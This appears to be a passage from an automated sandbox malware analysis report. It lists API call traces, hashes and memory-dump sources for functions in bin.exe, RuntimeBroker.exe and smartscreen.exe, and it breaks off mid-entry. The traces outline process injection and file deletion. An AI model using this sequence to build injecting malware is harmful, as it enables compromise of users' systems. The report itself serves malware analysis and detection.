Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: c636e14730fe7c8789ea0b8b2e66408bc148dc9e268f550b67392472ade30f33
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 9441F1715002289FDB22BB618D49FAB77BCEF60705F0444AAEA45E7055DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02382A01 Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,023829F8), ref: 02382A07

Part of subcall function 02382A38: lstrcat.KERNEL32(00000000,02382A2F), ref: 02382A3E
Part of subcall function 02382A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02382AB8
Part of subcall function 02382A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02382AFC
Part of subcall function 02382A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02382B52
Part of subcall function 02382A38: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02382B66

Memory Dump Source

Source File: 0000000C.00000002.1812618047.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Offset: 02380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2380000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: 83424610e692b2d037c930f79a1cefa8ad4d8da49885999eb03c8428f41b7843
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 91412F71501398AEDB227F708D48EAF76BDEF40709F4044A6AE85EE051EE349680CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C29DD Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3

Part of subcall function 001C2A14: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Part of subcall function 001C2A14: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: d6b160bcfa924dc1f1ce780805323c99afb8a852cbc58ab7edcbb3794eecdb08
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 8D4130B15002289FDB22BB618D49FAF76BCEF60705F0444AEEA45E7041DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02382A38 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,02382A2F), ref: 02382A3E

Part of subcall function 02382B71: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 02382C68

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02382AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02382AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02382B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02382B66

Memory Dump Source

Source File: 0000000C.00000002.1812618047.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Offset: 02380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2380000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: fe263bc7a84a6d6a594af912e0c7f71bf844388ecdf61baf805f1d3ca3a95e6e
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: 7E312171501398AEDB227F708D48FAF76BCEF40709F4044A5AE45EE054EF349680CEA4

Uniqueness

Uniqueness Score: -1.00%

Function 001C2A14 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A

Part of subcall function 001C2B4D: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 001C2C44

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 49968fa7a4b5d5aca4da9ad6627b8677a1410d3c3c0f57381d6fd9009df4eb89
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: B9313EB15002699FDB227B618C48FAF76FCEF60705F0044AEEA45E7045DB34DA80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 023831EA Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 0238320E
GetStartupInfoA.KERNEL32(00000000), ref: 0238324C
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,023831D9,00000011,?,00000000,00000000), ref: 02383279
CloseHandle.KERNEL32(?,?,023831D9,00000011,?,00000000,00000000,00000000,02383092,00000004,00000000), ref: 02383285
CloseHandle.KERNEL32(?,?,023831D9,00000011,?,00000000,00000000,00000000,02383092,00000004,00000000), ref: 02383291

Memory Dump Source

Source File: 0000000C.00000002.1812618047.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Offset: 02380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2380000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 38e9d5191e40b758f6cd9b11f0f3b4c4e106086092a3913515b68449a960020b
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 881124724006589FDF127B60CC88E9FB7FDEF40705F0145A5E986EB105DB305A80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C31C6 Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 001C31EA
GetStartupInfoA.KERNEL32(00000000), ref: 001C3228
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,001C31B5,00000011,?,00000000,00000000), ref: 001C3255
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C3261
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C326D

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 1a8fcc1b29af6dc6d508c4043910ddb7290efc2c1b1de9f1c1491fbd14d99cd8
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 871121B2504958AFDF12AF60CC45FAF77BCEF60305F0145A9E986EA005DB349A90CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C0B65 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(001C0B57,0000000E), ref: 001C0B6A
GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 001C0B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 001C0B84
ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 001C0BA6

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: Process$Window$ExitFindOpenThread
String ID:
API String ID: 273847653-0
Opcode ID: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction ID: a9338b71442d5d3ebf48e46985c07ff31f3dafee2d3b1c7779650113a65b08a8
Opcode Fuzzy Hash: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction Fuzzy Hash: CE11EF25204301AEEF136BB08D56F663F28AF36B00F0A419DF8449E0A3DB20C9429A38

Uniqueness

Uniqueness Score: -1.00%

Function 02383F31 Relevance: 6.0, APIs: 4, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,02383F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02383F51
Sleep.KERNEL32(000003E8,00000000,?,02383F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02383F6F
Sleep.KERNEL32(000007D0), ref: 02383F7F
Sleep.KERNEL32(00000BB8), ref: 02383F8F

Memory Dump Source

Source File: 0000000C.00000002.1812618047.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Offset: 02380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2380000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction ID: 64570113946bd3aed67f811deb3fb261c303ffdea24c6e977f0c63488a63663c
Opcode Fuzzy Hash: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction Fuzzy Hash: 5FF01C705453509AFF603BB08C4C74A3AB9AF40B04F0400D0AE89AE696CF7480508EB5

Uniqueness

Uniqueness Score: -1.00%

Function 001C3EC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(001C3EBD,00000006,E8FFFE1B,00000000), ref: 001C3EC8
GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D

Strings

j, xrefs: 001C3EFC

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: j
API String ID: 4133054770-2747090070
Opcode ID: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction ID: c4430a2c0c24a2b0bdc06aa21888522cca28319f24652424d60ea3f5ea681fdb
Opcode Fuzzy Hash: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction Fuzzy Hash: BEF0C871948250AEEB127A708855FAE32BCAF70701F00C45DBA95DA041DF30C740DAB7

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 5092, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	70
Total number of Limit Nodes:	4

Executed Functions

Function 00AB0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00AB092A
RtlExitUserThread.NTDLL ref: 00AB0933

Memory Dump Source

Source File: 0000000F.00000002.2887613195.0000000000AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_ab0000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: a746e57cf6378d43ca32d6e26f47fe512de4d0868098c976c8f9b264cff3b5ab
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 0B31C8724102046FEB017FB09E46EFB3BACEF11310F440165BD85DA0A7EA744A658AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: smartscreen.exePID: 5584, Parent PID: 7344COMMON

Executed Functions

Function 00291D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00291D99
VirtualAlloc.KERNELBASE ref: 00291DD2
VirtualProtect.KERNELBASE ref: 00291E56

Memory Dump Source

Source File: 00000010.00000002.2887408520.0000000000290000.00000040.00000001.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_290000_smartscreen.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: 5cfeb1bcbae8c558e98dcdee69f702b75d149b9acfc2b5526b48693fa100539d
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: F421F730B34C1E0BEF58A67D9859764F6D2E79C320F980295E90DD36E8ED58CC9187C6

Uniqueness

Uniqueness Score: -1.00%

Function 00290811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0029092A
RtlExitUserThread.NTDLL ref: 00290933

Memory Dump Source

Source File: 00000010.00000002.2887408520.0000000000290000.00000040.00000001.00020000.00000000.sdmp, Offset: 00290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_290000_smartscreen.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: c058b29fad30e67ee3f8ad258c7953d0322cd43e49dbed41448cb6062d2459d6
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9A31E872520209BFEF017F709D86ABA77ACFF11300F400165BD85DA0A6DA744D74CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bin.exePID: 7776, Parent PID: 2580COMMON

Executed Functions

Function 023A0005 Relevance: 2.6, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

Part of subcall function 023A098B: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 023A09A5
Part of subcall function 023A098B: GetStartupInfoA.KERNEL32(00000000), ref: 023A09BD

ExitProcess.KERNEL32(00000000), ref: 023A001D

Memory Dump Source

Source File: 00000011.00000002.1892758259.00000000023A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_23a0000_bin.jbxd

Similarity

API ID: ExitInfoMutexOpenProcessStartup
String ID:
API String ID: 213680645-0
Opcode ID: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction ID: c7d53725e21010ff9c758411df96f51dcf8c62d1367791f143406d9d7b080951
Opcode Fuzzy Hash: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction Fuzzy Hash: 1472F06141E3C05FD72F9B644A79BA67F79FF03208B0D10EBD481DA0B3D6289909C76A

Uniqueness

Uniqueness Score: -1.00%

Function 021F0000 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 395
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 021F0318
VirtualProtect.KERNELBASE ref: 021F0680
VirtualProtect.KERNELBASE ref: 021F06FD

Strings

v, xrefs: 021F0141
y7, xrefs: 021F0234
@, xrefs: 021F001F
R, xrefs: 021F0039
C[, xrefs: 021F0221
1;, xrefs: 021F0286
, xrefs: 021F000F
wJ, xrefs: 021F012E
d:, xrefs: 021F00A0

Memory Dump Source

Source File: 00000011.00000002.1892604094.00000000021F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_21f0000_bin.jbxd

Similarity

API ID: ProtectVirtual
String ID: $1;$@$C[$R$d:$wJ$y7$v
API String ID: 544645111-3459585926
Opcode ID: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction ID: 28e5be904831581971660279813b2c29e89ec9c6c7ba3c7a11617b115dd6d7d6
Opcode Fuzzy Hash: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction Fuzzy Hash: 9F3277B8E012688BDB64CF68C890BDDBBB1BF49304F1481DAD848A7341D775AE85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001C093E Relevance: 18.1, APIs: 12, Instructions: 134
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001388), ref: 001C0959
RtlExitUserThread.NTDLL(00000000), ref: 001C0961
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0981
GetStartupInfoA.KERNEL32(00000000), ref: 001C0999

Part of subcall function 001C09D9: CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
Part of subcall function 001C09D9: GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
Part of subcall function 001C09D9: VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
Part of subcall function 001C09D9: DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
Part of subcall function 001C09D9: WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
Part of subcall function 001C09D9: ResumeThread.KERNEL32(?), ref: 001C0AB6
Part of subcall function 001C09D9: Sleep.KERNEL32(000003E8), ref: 001C0AC6
Part of subcall function 001C09D9: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: Thread$MutexOpenProcessSleep$ContextCreateDuplicateExitHandleInfoMemoryProtectResumeStartupUserVirtualWrite
String ID:
API String ID: 1099281029-0
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 02247e30dbf509db19e564959b2d0d53da4b464b58ceeb9d9e50b48634e6cc8b
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: E7517031644354AFEF239F20CC85F9A77B8AF14B44F040199BA49FE0D6DBB0DA94CA65

Uniqueness

Uniqueness Score: -1.00%

Function 001C3F0D Relevance: 6.0, APIs: 4, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D
Sleep.KERNELBASE(000003E8,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F4B
Sleep.KERNEL32(000007D0), ref: 001C3F5B
Sleep.KERNEL32(00000BB8), ref: 001C3F6B

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 634a74a46434a642e0226302b98b7da89e65e1ed753664d014aab6768df5a327
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: EFF05E60988244A6EF413BB0884AF4D36B45F31705F04889CBA59E90D2CF30C6508E72

Uniqueness

Uniqueness Score: -1.00%

Function 001C1345 Relevance: 4.6, APIs: 3, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,00000020,00000040,?), ref: 001C1372
VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040), ref: 001C1387
VirtualProtect.KERNELBASE(?,00000020,?,?), ref: 001C13E5

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 24bdabae7abb68ff9a17f5ee70b33f63d9b304115b88680595e81b57cc4b6d8c
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: C921AE31944256AFDB11DE78C844B5DBBB5AF05310F054219F955BB5D5D730E800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 023A3409 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(023A3405,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 023A3409

Memory Dump Source

Source File: 00000011.00000002.1892758259.00000000023A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_23a0000_bin.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction ID: fc295450b17f6267912b9cf3b3424786af93421a84b2be300944b474e70b7cc8
Opcode Fuzzy Hash: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction Fuzzy Hash: 9EF0F875A00154DBEF12EF24C485A9A7BF8AF84344F4508D8AA4DBF206CA30A599CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 001C292D Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(001C2925,00000008,?,00000000,001C2811,00000000), ref: 001C2932
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 001C296F
lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC
lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 00000011.00000002.1891541634.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 5e20f8d1fd77fe1a3bbaf27d3d0f84e3a94bc46b39ba8ee9e7a75b819cd3b3af
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 55513471500264AFDB227B608D49FAB77BCEF60705F0444AEFA45EB056DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 023A2951 Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(023A2949,00000008,?,00000000,023A2835,00000000), ref: 023A2956
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 023A2993
lstrcat.KERNEL32(00000000,023A29C1), ref: 023A29D0
lstrcat.KERNEL32(00000000,023A29F8), ref: 023A2A07
lstrcat.KERNEL32(00000000,023A2A2F), ref: 023A2A3E
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 023A2AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 023A2AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 023A2B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 023A2B66

Memory Dump Source

Source File: 00000011.00000002.1892758259.00000000023A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_23a0000_bin.jbxd

Similarity

